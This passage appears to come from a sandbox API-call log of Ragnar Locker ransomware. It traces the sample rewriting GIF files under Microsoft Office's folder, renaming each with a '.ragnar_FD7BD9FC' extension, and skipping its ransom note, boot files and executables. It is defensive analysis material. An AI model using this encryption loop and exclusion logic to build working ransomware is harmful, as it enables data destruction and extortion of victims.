hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.717] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xf0, lpOverlapped=0x0) returned 1 [0097.717] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.717] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.717] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xf0, lpOverlapped=0x0) returned 1 [0097.717] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.717] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.718] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.718] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.718] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.718] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.718] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.718] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.718] GetProcessHeap () returned 0x580000 [0097.718] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.718] CloseHandle (hObject=0x10c) returned 1 [0097.718] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" [0097.718] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF.ragnar_FD7BD9FC" [0097.718] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.719] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0097.719] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.719] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10255_.GIF" | out: lpString1="BD10255_.GIF") returned="BD10255_.GIF" [0097.719] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF") returned=".GIF" [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="autorun.inf") returned 1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="boot.ini") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="bootfont.bin") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="bootsect.bak") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="bootmgr") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="bootmgr.efi") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="desktop.ini") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="iconcache.db") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="ntldr") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="ntuser.dat") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="ntuser.ini") returned -1 [0097.719] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="thumbs.db") returned -1 [0097.719] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.719] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.720] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.720] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.720] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.720] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.720] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif")) returned 0x20 [0097.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.724] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=234) returned 1 [0097.724] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.724] GetProcessHeap () returned 0x580000 [0097.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.724] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.725] VirtualAlloc (lpAddress=0x0, dwSize=0xea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.725] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.725] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.725] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xea, lpOverlapped=0x0) returned 1 [0097.725] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.725] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xea, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.725] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xea, lpOverlapped=0x0) returned 1 [0097.725] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.725] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.725] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.725] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.725] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.725] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.726] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.726] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.726] GetProcessHeap () returned 0x580000 [0097.726] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.726] CloseHandle (hObject=0x10c) returned 1 [0097.726] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" [0097.726] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF.ragnar_FD7BD9FC" [0097.726] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.727] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0097.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.727] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10263_.GIF" | out: lpString1="BD10263_.GIF") returned="BD10263_.GIF" [0097.727] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF") returned=".GIF" [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="autorun.inf") returned 1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="boot.ini") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="bootfont.bin") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="bootsect.bak") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="bootmgr") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="bootmgr.efi") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="desktop.ini") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="iconcache.db") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="ntldr") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="ntuser.dat") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="ntuser.ini") returned -1 [0097.727] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="thumbs.db") returned -1 [0097.727] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.727] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.727] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.727] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.727] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.727] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.727] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif")) returned 0x20 [0097.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.729] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=663) returned 1 [0097.729] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x28e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.729] GetProcessHeap () returned 0x580000 [0097.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.729] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.730] VirtualAlloc (lpAddress=0x0, dwSize=0x297, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.730] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.730] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.730] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x297, lpOverlapped=0x0) returned 1 [0097.730] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.730] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x297, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.730] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x297, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x297, lpOverlapped=0x0) returned 1 [0097.730] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x297, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.730] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.730] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x297, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.730] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.730] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.731] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.731] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.731] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.731] GetProcessHeap () returned 0x580000 [0097.731] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.731] CloseHandle (hObject=0x10c) returned 1 [0097.731] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" [0097.731] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF.ragnar_FD7BD9FC" [0097.731] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.732] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0097.732] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.732] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10264_.GIF" | out: lpString1="BD10264_.GIF") returned="BD10264_.GIF" [0097.732] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF") returned=".GIF" [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="autorun.inf") returned 1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="boot.ini") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="bootfont.bin") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="bootsect.bak") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="bootmgr") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="bootmgr.efi") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="desktop.ini") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="iconcache.db") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="ntldr") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="ntuser.dat") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="ntuser.ini") returned -1 [0097.732] lstrcmpiW (lpString1="BD10264_.GIF", lpString2="thumbs.db") returned -1 [0097.732] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.732] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.732] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.732] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.732] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.732] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.732] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif")) returned 0x20 [0097.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.733] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=185) returned 1 [0097.733] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.733] GetProcessHeap () returned 0x580000 [0097.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.733] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.734] VirtualAlloc (lpAddress=0x0, dwSize=0xb9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.734] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.734] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.734] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb9, lpOverlapped=0x0) returned 1 [0097.734] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 